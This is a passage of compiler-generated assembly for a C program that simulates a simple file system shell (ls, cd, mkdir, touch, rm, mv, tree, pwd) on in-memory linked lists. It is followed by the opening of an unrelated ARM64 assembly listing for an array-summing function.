movl -28(%rbp), %eax
addl $-1, %eax
movl %eax, -28(%rbp)
jmp LBB12_8
LBB12_10:
movl $0, -28(%rbp)
LBB12_11: ## =>This Inner Loop Header: Depth=1
movl -28(%rbp), %eax
cmpl -32(%rbp), %eax
jge LBB12_14
## %bb.12: ## in Loop: Header=BB12_11 Depth=1
movq -24(%rbp), %rax
movslq -28(%rbp), %rcx
movq (%rax,%rcx,8), %rdi
callq _free
## %bb.13: ## in Loop: Header=BB12_11 Depth=1
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
jmp LBB12_11
LBB12_14:
movq -24(%rbp), %rdi
callq _free
movq -16(%rbp), %rax
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _stop ## -- Begin function stop
.p2align 4, 0x90
_stop: ## @stop
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
LBB13_1: ## =>This Inner Loop Header: Depth=1
movq -8(%rbp), %rax
cmpq $0, 8(%rax)
je LBB13_3
## %bb.2: ## in Loop: Header=BB13_1 Depth=1
movq -8(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -8(%rbp)
jmp LBB13_1
LBB13_3:
leaq -8(%rbp), %rdi
callq _free_director
movq -8(%rbp), %rdi
callq _free
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _afisare_din_tree ## -- Begin function afisare_din_tree
.p2align 4, 0x90
_afisare_din_tree: ## @afisare_din_tree
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movl $0, -16(%rbp)
LBB14_1: ## =>This Inner Loop Header: Depth=1
movl -16(%rbp), %eax
cmpl -12(%rbp), %eax
jge LBB14_4
## %bb.2: ## in Loop: Header=BB14_1 Depth=1
leaq L_.str.9(%rip), %rdi
movb $0, %al
callq _printf
## %bb.3: ## in Loop: Header=BB14_1 Depth=1
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
jmp LBB14_1
LBB14_4:
movq -8(%rbp), %rsi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _tree ## -- Begin function tree
.p2align 4, 0x90
_tree: ## @tree
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movq -8(%rbp), %rax
movq 24(%rax), %rax
movq %rax, -24(%rbp)
movq -8(%rbp), %rax
movq 16(%rax), %rax
movq %rax, -32(%rbp)
LBB15_1: ## =>This Inner Loop Header: Depth=1
cmpq $0, -24(%rbp)
je LBB15_3
## %bb.2: ## in Loop: Header=BB15_1 Depth=1
movq -24(%rbp), %rax
movq (%rax), %rdi
movl -12(%rbp), %esi
callq _afisare_din_tree
movq -24(%rbp), %rdi
movl -12(%rbp), %esi
addl $1, %esi
callq _tree
movq -24(%rbp), %rax
movq 32(%rax), %rax
movq %rax, -24(%rbp)
jmp LBB15_1
LBB15_3:
jmp LBB15_4
LBB15_4: ## =>This Inner Loop Header: Depth=1
cmpq $0, -32(%rbp)
je LBB15_6
## %bb.5: ## in Loop: Header=BB15_4 Depth=1
movq -32(%rbp), %rax
movq (%rax), %rdi
movl -12(%rbp), %esi
callq _afisare_din_tree
movq -32(%rbp), %rax
movq 16(%rax), %rax
movq %rax, -32(%rbp)
jmp LBB15_4
LBB15_6:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _mv_dir ## -- Begin function mv_dir
.p2align 4, 0x90
_mv_dir: ## @mv_dir
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq -8(%rbp), %rax
movq (%rax), %rax
movq 24(%rax), %rax
movq %rax, -24(%rbp)
movq -8(%rbp), %rax
movq (%rax), %rax
movq 24(%rax), %rax
movq (%rax), %rdi
movq -16(%rbp), %rax
movq (%rax), %rax
movq (%rax), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB16_3
## %bb.1:
movq -8(%rbp), %rax
movq (%rax), %rax
movq 24(%rax), %rax
cmpq $0, 32(%rax)
jne LBB16_3
## %bb.2:
jmp LBB16_13
LBB16_3:
movq -8(%rbp), %rax
movq (%rax), %rax
movq 24(%rax), %rax
movq (%rax), %rdi
movq -16(%rbp), %rax
movq (%rax), %rax
movq (%rax), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB16_5
## %bb.4:
movq -8(%rbp), %rax
movq (%rax), %rax
movq 24(%rax), %rax
movq 32(%rax), %rcx
movq -8(%rbp), %rax
movq (%rax), %rax
movq %rcx, 24(%rax)
LBB16_5:
jmp LBB16_6
LBB16_6: ## =>This Inner Loop Header: Depth=1
movq -24(%rbp), %rax
cmpq $0, 32(%rax)
je LBB16_12
## %bb.7: ## in Loop: Header=BB16_6 Depth=1
movq -24(%rbp), %rax
movq 32(%rax), %rax
movq (%rax), %rdi
movq -16(%rbp), %rax
movq (%rax), %rax
movq (%rax), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB16_11
## %bb.8: ## in Loop: Header=BB16_6 Depth=1
movq -24(%rbp), %rax
movq 32(%rax), %rax
cmpq $0, 32(%rax)
je LBB16_10
## %bb.9: ## in Loop: Header=BB16_6 Depth=1
movq -24(%rbp), %rax
movq 32(%rax), %rax
movq 32(%rax), %rcx
movq -24(%rbp), %rax
movq %rcx, 32(%rax)
LBB16_10: ## in Loop: Header=BB16_6 Depth=1
jmp LBB16_11
LBB16_11: ## in Loop: Header=BB16_6 Depth=1
movq -24(%rbp), %rax
movq 32(%rax), %rax
movq %rax, -24(%rbp)
jmp LBB16_6
LBB16_12:
movq -16(%rbp), %rax
movq (%rax), %rcx
movq -24(%rbp), %rax
movq %rcx, 32(%rax)
movq -16(%rbp), %rax
movq (%rax), %rax
movq $0, 32(%rax)
LBB16_13:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _mv_file ## -- Begin function mv_file
.p2align 4, 0x90
_mv_file: ## @mv_file
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq -8(%rbp), %rax
movq (%rax), %rax
movq 16(%rax), %rax
movq %rax, -24(%rbp)
movq -8(%rbp), %rax
movq (%rax), %rax
movq 16(%rax), %rax
movq (%rax), %rdi
movq -16(%rbp), %rax
movq (%rax), %rax
movq (%rax), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB17_3
## %bb.1:
movq -8(%rbp), %rax
movq (%rax), %rax
movq 16(%rax), %rax
cmpq $0, 16(%rax)
jne LBB17_3
## %bb.2:
jmp LBB17_13
LBB17_3:
movq -8(%rbp), %rax
movq (%rax), %rax
movq 16(%rax), %rax
movq (%rax), %rdi
movq -16(%rbp), %rax
movq (%rax), %rax
movq (%rax), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB17_5
## %bb.4:
movq -8(%rbp), %rax
movq (%rax), %rax
movq 16(%rax), %rax
movq 16(%rax), %rcx
movq -8(%rbp), %rax
movq (%rax), %rax
movq %rcx, 16(%rax)
LBB17_5:
jmp LBB17_6
LBB17_6: ## =>This Inner Loop Header: Depth=1
movq -24(%rbp), %rax
cmpq $0, 16(%rax)
je LBB17_12
## %bb.7: ## in Loop: Header=BB17_6 Depth=1
movq -24(%rbp), %rax
movq 16(%rax), %rax
movq (%rax), %rdi
movq -16(%rbp), %rax
movq (%rax), %rax
movq (%rax), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB17_11
## %bb.8: ## in Loop: Header=BB17_6 Depth=1
movq -24(%rbp), %rax
movq 16(%rax), %rax
cmpq $0, 16(%rax)
je LBB17_10
## %bb.9: ## in Loop: Header=BB17_6 Depth=1
movq -24(%rbp), %rax
movq 16(%rax), %rax
movq 16(%rax), %rcx
movq -24(%rbp), %rax
movq %rcx, 16(%rax)
LBB17_10: ## in Loop: Header=BB17_6 Depth=1
jmp LBB17_11
LBB17_11: ## in Loop: Header=BB17_6 Depth=1
movq -24(%rbp), %rax
movq 16(%rax), %rax
movq %rax, -24(%rbp)
jmp LBB17_6
LBB17_12:
movq -16(%rbp), %rax
movq (%rax), %rcx
movq -24(%rbp), %rax
movq %rcx, 16(%rax)
movq -16(%rbp), %rax
movq (%rax), %rax
movq $0, 16(%rax)
LBB17_13:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _mv ## -- Begin function mv
.p2align 4, 0x90
_mv: ## @mv
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq %rdx, -24(%rbp)
movq -8(%rbp), %rax
movq 24(%rax), %rax
movq %rax, -32(%rbp)
movq -8(%rbp), %rax
movq 16(%rax), %rax
movq %rax, -40(%rbp)
movl $0, -44(%rbp)
movl $0, -48(%rbp)
LBB18_1: ## =>This Inner Loop Header: Depth=1
cmpq $0, -32(%rbp)
je LBB18_5
## %bb.2: ## in Loop: Header=BB18_1 Depth=1
movq -32(%rbp), %rax
movq (%rax), %rdi
movq -24(%rbp), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB18_4
## %bb.3: ## in Loop: Header=BB18_1 Depth=1
movl $1, -48(%rbp)
LBB18_4: ## in Loop: Header=BB18_1 Depth=1
movq -32(%rbp), %rax
movq 32(%rax), %rax
movq %rax, -32(%rbp)
jmp LBB18_1
LBB18_5:
jmp LBB18_6
LBB18_6: ## =>This Inner Loop Header: Depth=1
cmpq $0, -40(%rbp)
je LBB18_10
## %bb.7: ## in Loop: Header=BB18_6 Depth=1
movq -40(%rbp), %rax
movq (%rax), %rdi
movq -24(%rbp), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB18_9
## %bb.8: ## in Loop: Header=BB18_6 Depth=1
movl $1, -48(%rbp)
LBB18_9: ## in Loop: Header=BB18_6 Depth=1
movq -40(%rbp), %rax
movq 16(%rax), %rax
movq %rax, -40(%rbp)
jmp LBB18_6
LBB18_10:
cmpl $0, -48(%rbp)
jne LBB18_24
## %bb.11:
movq -8(%rbp), %rax
movq 24(%rax), %rax
movq %rax, -32(%rbp)
LBB18_12: ## =>This Inner Loop Header: Depth=1
cmpq $0, -32(%rbp)
je LBB18_16
## %bb.13: ## in Loop: Header=BB18_12 Depth=1
movq -32(%rbp), %rax
movq (%rax), %rdi
movq -16(%rbp), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB18_15
## %bb.14: ## in Loop: Header=BB18_12 Depth=1
movq -32(%rbp), %rax
movq (%rax), %rax
movq %rax, -56(%rbp) ## 8-byte Spill
movq -24(%rbp), %rdi
callq _strlen
movq -56(%rbp), %rdi ## 8-byte Reload
movq %rax, %rsi
addq $1, %rsi
callq _realloc
movq %rax, %rcx
movq -32(%rbp), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rax
movq (%rax), %rdi
movq -24(%rbp), %rsi
movq $-1, %rdx
callq ___strcpy_chk
movl $1, -44(%rbp)
movq -32(%rbp), %rdi
addq $8, %rdi
leaq -32(%rbp), %rsi
callq _mv_dir
LBB18_15: ## in Loop: Header=BB18_12 Depth=1
movq -32(%rbp), %rax
movq 32(%rax), %rax
movq %rax, -32(%rbp)
jmp LBB18_12
LBB18_16:
cmpl $0, -44(%rbp)
jne LBB18_23
## %bb.17:
movq -8(%rbp), %rax
movq 16(%rax), %rax
movq %rax, -40(%rbp)
LBB18_18: ## =>This Inner Loop Header: Depth=1
cmpq $0, -40(%rbp)
je LBB18_22
## %bb.19: ## in Loop: Header=BB18_18 Depth=1
movq -40(%rbp), %rax
movq (%rax), %rdi
movq -16(%rbp), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB18_21
## %bb.20: ## in Loop: Header=BB18_18 Depth=1
movq -40(%rbp), %rax
movq (%rax), %rax
movq %rax, -64(%rbp) ## 8-byte Spill
movq -24(%rbp), %rdi
callq _strlen
movq -64(%rbp), %rdi ## 8-byte Reload
movq %rax, %rsi
addq $1, %rsi
callq _realloc
movq %rax, %rcx
movq -40(%rbp), %rax
movq %rcx, (%rax)
movq -40(%rbp), %rax
movq (%rax), %rdi
movq -24(%rbp), %rsi
movq $-1, %rdx
callq ___strcpy_chk
movq -40(%rbp), %rdi
addq $8, %rdi
leaq -40(%rbp), %rsi
callq _mv_file
movl $1, -44(%rbp)
LBB18_21: ## in Loop: Header=BB18_18 Depth=1
movq -40(%rbp), %rax
movq 16(%rax), %rax
movq %rax, -40(%rbp)
jmp LBB18_18
LBB18_22:
jmp LBB18_23
LBB18_23:
jmp LBB18_24
LBB18_24:
cmpl $1, -48(%rbp)
jne LBB18_26
## %bb.25:
leaq L_.str.10(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB18_29
LBB18_26:
cmpl $0, -44(%rbp)
jne LBB18_28
## %bb.27:
leaq L_.str.11(%rip), %rdi
movb $0, %al
callq _printf
LBB18_28:
jmp LBB18_29
LBB18_29:
addq $64, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _apelare_zero_parametrii ## -- Begin function apelare_zero_parametrii
.p2align 4, 0x90
_apelare_zero_parametrii: ## @apelare_zero_parametrii
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq -16(%rbp), %rdi
leaq L_.str.12(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB19_2
## %bb.1:
movq -8(%rbp), %rax
movq (%rax), %rdi
callq _ls
LBB19_2:
movq -16(%rbp), %rdi
leaq L_.str.13(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB19_4
## %bb.3:
movq -8(%rbp), %rax
movq (%rax), %rdi
callq _stop
LBB19_4:
movq -16(%rbp), %rdi
leaq L_.str.14(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB19_6
## %bb.5:
movq -8(%rbp), %rax
movq (%rax), %rdi
callq _pwd
movq %rax, -24(%rbp)
movq -24(%rbp), %rsi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movq -24(%rbp), %rdi
callq _free
LBB19_6:
movq -16(%rbp), %rdi
leaq L_.str.15(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB19_8
## %bb.7:
movq -8(%rbp), %rax
movq (%rax), %rdi
xorl %esi, %esi
callq _tree
LBB19_8:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _apelare_un_parametru ## -- Begin function apelare_un_parametru
.p2align 4, 0x90
_apelare_un_parametru: ## @apelare_un_parametru
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq %rdx, -24(%rbp)
movq -16(%rbp), %rdi
leaq L_.str.16(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB20_2
## %bb.1:
movq -8(%rbp), %rax
movq (%rax), %rdi
movq -24(%rbp), %rsi
callq _touch
LBB20_2:
movq -16(%rbp), %rdi
leaq L_.str.17(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB20_4
## %bb.3:
movq -8(%rbp), %rax
movq (%rax), %rdi
movq -24(%rbp), %rsi
callq _mkdir
LBB20_4:
movq -16(%rbp), %rdi
leaq L_.str.18(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB20_6
## %bb.5:
movq -8(%rbp), %rax
movq (%rax), %rdi
movq -24(%rbp), %rsi
callq _rm
LBB20_6:
movq -16(%rbp), %rdi
leaq L_.str.19(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB20_8
## %bb.7:
movq -8(%rbp), %rax
movq (%rax), %rdi
movq -24(%rbp), %rsi
callq _rmdir
LBB20_8:
movq -16(%rbp), %rdi
leaq L_.str.20(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB20_10
## %bb.9:
movq -8(%rbp), %rdi
movq -24(%rbp), %rsi
callq _cd
LBB20_10:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _apelare_doi_parametrii ## -- Begin function apelare_doi_parametrii
.p2align 4, 0x90
_apelare_doi_parametrii: ## @apelare_doi_parametrii
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq %rdx, -24(%rbp)
movq %rcx, -32(%rbp)
movq -16(%rbp), %rdi
leaq L_.str.21(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB21_2
## %bb.1:
movq -8(%rbp), %rax
movq (%rax), %rdi
movq -24(%rbp), %rsi
movq -32(%rbp), %rdx
callq _mv
LBB21_2:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _apelare ## -- Begin function apelare
.p2align 4, 0x90
_apelare: ## @apelare
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq %rdx, -24(%rbp)
movl %ecx, -28(%rbp)
movq -24(%rbp), %rdi
callq _strlen
## kill: def $eax killed $eax killed $rax
addl $1, %eax
movl %eax, -32(%rbp)
movl $0, -36(%rbp)
movq -16(%rbp), %rdi
callq _strlen
## kill: def $eax killed $eax killed $rax
movl %eax, -40(%rbp)
cmpl $0, -28(%rbp)
jne LBB22_2
## %bb.1:
movq -8(%rbp), %rdi
movq -24(%rbp), %rsi
callq _apelare_zero_parametrii
jmp LBB22_16
LBB22_2:
movl $100, %edi
callq _malloc
movq %rax, -48(%rbp)
LBB22_3: ## =>This Inner Loop Header: Depth=1
movl -36(%rbp), %ecx
addl -32(%rbp), %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl -40(%rbp), %ecx
movb %al, -57(%rbp) ## 1-byte Spill
jge LBB22_5
## %bb.4: ## in Loop: Header=BB22_3 Depth=1
movq -16(%rbp), %rax
movslq -32(%rbp), %rcx
addq %rcx, %rax
movslq -36(%rbp), %rcx
movsbl (%rax,%rcx), %eax
cmpl $32, %eax
setne %al
movb %al, -57(%rbp) ## 1-byte Spill
LBB22_5: ## in Loop: Header=BB22_3 Depth=1
movb -57(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB22_6
jmp LBB22_7
LBB22_6: ## in Loop: Header=BB22_3 Depth=1
movq -16(%rbp), %rax
movslq -32(%rbp), %rcx
addq %rcx, %rax
movslq -36(%rbp), %rcx
movb (%rax,%rcx), %dl
movq -48(%rbp), %rax
movslq -36(%rbp), %rcx
movb %dl, (%rax,%rcx)
movl -36(%rbp), %eax
addl $1, %eax
movl %eax, -36(%rbp)
jmp LBB22_3
LBB22_7:
movq -48(%rbp), %rax
movslq -36(%rbp), %rcx
movb $0, (%rax,%rcx)
cmpl $2, -28(%rbp)
jne LBB22_14
## %bb.8:
movl $100, %edi
callq _malloc
movq %rax, -56(%rbp)
movl -32(%rbp), %eax
addl -36(%rbp), %eax
addl $1, %eax
movl %eax, -32(%rbp)
movl $0, -36(%rbp)
LBB22_9: ## =>This Inner Loop Header: Depth=1
movl -36(%rbp), %ecx
addl -32(%rbp), %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl -40(%rbp), %ecx
movb %al, -58(%rbp) ## 1-byte Spill
jge LBB22_11
## %bb.10: ## in Loop: Header=BB22_9 Depth=1
movq -16(%rbp), %rax
movslq -32(%rbp), %rcx
addq %rcx, %rax
movslq -36(%rbp), %rcx
movsbl (%rax,%rcx), %eax
cmpl $32, %eax
setne %al
movb %al, -58(%rbp) ## 1-byte Spill
LBB22_11: ## in Loop: Header=BB22_9 Depth=1
movb -58(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB22_12
jmp LBB22_13
LBB22_12: ## in Loop: Header=BB22_9 Depth=1
movq -16(%rbp), %rax
movslq -32(%rbp), %rcx
addq %rcx, %rax
movslq -36(%rbp), %rcx
movb (%rax,%rcx), %dl
movq -56(%rbp), %rax
movslq -36(%rbp), %rcx
movb %dl, (%rax,%rcx)
movl -36(%rbp), %eax
addl $1, %eax
movl %eax, -36(%rbp)
jmp LBB22_9
LBB22_13:
movq -56(%rbp), %rax
movslq -36(%rbp), %rcx
movb $0, (%rax,%rcx)
movq -8(%rbp), %rdi
movq -24(%rbp), %rsi
movq -48(%rbp), %rdx
movq -56(%rbp), %rcx
callq _apelare_doi_parametrii
movq -48(%rbp), %rdi
callq _free
movq -56(%rbp), %rdi
callq _free
jmp LBB22_15
LBB22_14:
movq -8(%rbp), %rdi
movq -24(%rbp), %rsi
movq -48(%rbp), %rdx
callq _apelare_un_parametru
movq -48(%rbp), %rdi
callq _free
LBB22_15:
jmp LBB22_16
LBB22_16:
addq $64, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $96, %rsp
movl $0, -4(%rbp)
leaq -16(%rbp), %rdi
leaq L_.str.22(%rip), %rsi
xorl %eax, %eax
movl %eax, %edx
callq _init_dir
movl $301, %edi ## imm = 0x12D
callq _malloc
movq %rax, -32(%rbp)
LBB23_1: ## =>This Loop Header: Depth=1
## Child Loop BB23_7 Depth 2
## Child Loop BB23_13 Depth 2
movl $0, -20(%rbp)
movl $0, -24(%rbp)
movq -32(%rbp), %rdi
movq ___stdinp@GOTPCREL(%rip), %rax
movq (%rax), %rdx
movl $301, %esi ## imm = 0x12D
callq _fgets
movq -32(%rbp), %rax
movq %rax, -48(%rbp) ## 8-byte Spill
movq -32(%rbp), %rdi
callq _strlen
movq %rax, %rcx
movq -48(%rbp), %rax ## 8-byte Reload
movsbl -2(%rax,%rcx), %eax
cmpl $32, %eax
je LBB23_3
## %bb.2: ## in Loop: Header=BB23_1 Depth=1
movq -32(%rbp), %rax
movq %rax, -56(%rbp) ## 8-byte Spill
movq -32(%rbp), %rdi
callq _strlen
movq %rax, %rcx
movq -56(%rbp), %rax ## 8-byte Reload
movsbl -2(%rax,%rcx), %eax
cmpl $10, %eax
jne LBB23_4
LBB23_3: ## in Loop: Header=BB23_1 Depth=1
movq -32(%rbp), %rax
movq %rax, -64(%rbp) ## 8-byte Spill
movq -32(%rbp), %rdi
callq _strlen
movq %rax, %rcx
movq -64(%rbp), %rax ## 8-byte Reload
movb $0, -2(%rax,%rcx)
LBB23_4: ## in Loop: Header=BB23_1 Depth=1
movq -32(%rbp), %rax
movq %rax, -72(%rbp) ## 8-byte Spill
movq -32(%rbp), %rdi
callq _strlen
movq %rax, %rcx
movq -72(%rbp), %rax ## 8-byte Reload
movsbl -1(%rax,%rcx), %eax
cmpl $10, %eax
jne LBB23_6
## %bb.5: ## in Loop: Header=BB23_1 Depth=1
movq -32(%rbp), %rax
movq %rax, -80(%rbp) ## 8-byte Spill
movq -32(%rbp), %rdi
callq _strlen
movq %rax, %rcx
movq -80(%rbp), %rax ## 8-byte Reload
movb $0, -1(%rax,%rcx)
LBB23_6: ## in Loop: Header=BB23_1 Depth=1
movl $100, %edi
callq _malloc
movq %rax, -40(%rbp)
LBB23_7: ## Parent Loop BB23_1 Depth=1
## => This Inner Loop Header: Depth=2
movq -32(%rbp), %rax
movslq -20(%rbp), %rcx
movsbl (%rax,%rcx), %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $32, %ecx
movb %al, -81(%rbp) ## 1-byte Spill
je LBB23_10
## %bb.8: ## in Loop: Header=BB23_7 Depth=2
movq -32(%rbp), %rax
movslq -20(%rbp), %rcx
movsbl (%rax,%rcx), %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $10, %ecx
movb %al, -81(%rbp) ## 1-byte Spill
je LBB23_10
## %bb.9: ## in Loop: Header=BB23_7 Depth=2
movq -32(%rbp), %rax
movslq -20(%rbp), %rcx
movsbl (%rax,%rcx), %eax
cmpl $0, %eax
setne %al
movb %al, -81(%rbp) ## 1-byte Spill
LBB23_10: ## in Loop: Header=BB23_7 Depth=2
movb -81(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB23_11
jmp LBB23_12
LBB23_11: ## in Loop: Header=BB23_7 Depth=2
movq -32(%rbp), %rax
movslq -20(%rbp), %rcx
movb (%rax,%rcx), %dl
movq -40(%rbp), %rax
movslq -20(%rbp), %rcx
movb %dl, (%rax,%rcx)
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB23_7
LBB23_12: ## in Loop: Header=BB23_1 Depth=1
movq -40(%rbp), %rax
movslq -20(%rbp), %rcx
movb $0, (%rax,%rcx)
LBB23_13: ## Parent Loop BB23_1 Depth=1
## => This Inner Loop Header: Depth=2
movq -32(%rbp), %rax
movslq -20(%rbp), %rcx
movsbl (%rax,%rcx), %eax
cmpl $0, %eax
je LBB23_17
## %bb.14: ## in Loop: Header=BB23_13 Depth=2
movq -32(%rbp), %rax
movslq -20(%rbp), %rcx
movsbl (%rax,%rcx), %eax
cmpl $32, %eax
jne LBB23_16
## %bb.15: ## in Loop: Header=BB23_13 Depth=2
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
LBB23_16: ## in Loop: Header=BB23_13 Depth=2
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB23_13
LBB23_17: ## in Loop: Header=BB23_1 Depth=1
movq -32(%rbp), %rsi
movq -40(%rbp), %rdx
movl -24(%rbp), %ecx
leaq -16(%rbp), %rdi
callq _apelare
movq -40(%rbp), %rdi
callq _free
## %bb.18: ## in Loop: Header=BB23_1 Depth=1
movq -32(%rbp), %rdi
leaq L_.str.13(%rip), %rsi
movl $4, %edx
callq _strncmp
cmpl $0, %eax
jne LBB23_1
## %bb.19:
movq -32(%rbp), %rdi
callq _free
xorl %eax, %eax
addq $96, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "File already exists\n"
L_.str.1: ## @.str.1
.asciz "Directory already exists\n"
L_.str.2: ## @.str.2
.asciz "%s\n"
L_.str.3: ## @.str.3
.asciz "Could not find the file\n"
L_.str.4: ## @.str.4
.asciz "Could not find the dir\n"
L_.str.5: ## @.str.5
.asciz ".."
L_.str.6: ## @.str.6
.asciz "No directories found!"
L_.str.7: ## @.str.7
.space 1
L_.str.8: ## @.str.8
.asciz "/"
L_.str.9: ## @.str.9
.asciz " "
L_.str.10: ## @.str.10
.asciz "File/Director already exists\n"
L_.str.11: ## @.str.11
.asciz "File/Director not found\n"
L_.str.12: ## @.str.12
.asciz "ls"
L_.str.13: ## @.str.13
.asciz "stop"
L_.str.14: ## @.str.14
.asciz "pwd"
L_.str.15: ## @.str.15
.asciz "tree"
L_.str.16: ## @.str.16
.asciz "touch"
L_.str.17: ## @.str.17
.asciz "mkdir"
L_.str.18: ## @.str.18
.asciz "rm"
L_.str.19: ## @.str.19
.asciz "rmdir"
L_.str.20: ## @.str.20
.asciz "cd"
L_.str.21: ## @.str.21
.asciz "mv"
L_.str.22: ## @.str.22
.asciz "home"
.subsections_via_symbols
| the_stack_data/88192.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _total ; -- Begin function total
.p2align 2
_total: ; @total
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, #24]
str w1, [sp, #20]
str wzr, [sp, #16]
str wzr, [sp, #12]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #12]
ldr w9, [sp, #20]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_3
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #16]
ldr x9, [sp, #24]
ldr w9, [x9]
add w8, w8, w9
str w8, [sp, #16]
ldr x8, [sp, #24]
add x8, x8, #4
str x8, [sp, #24]
b LBB0_1
LBB0_3:
ldr w0, [sp, #16]
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
ldur x0, [x29, #-8]
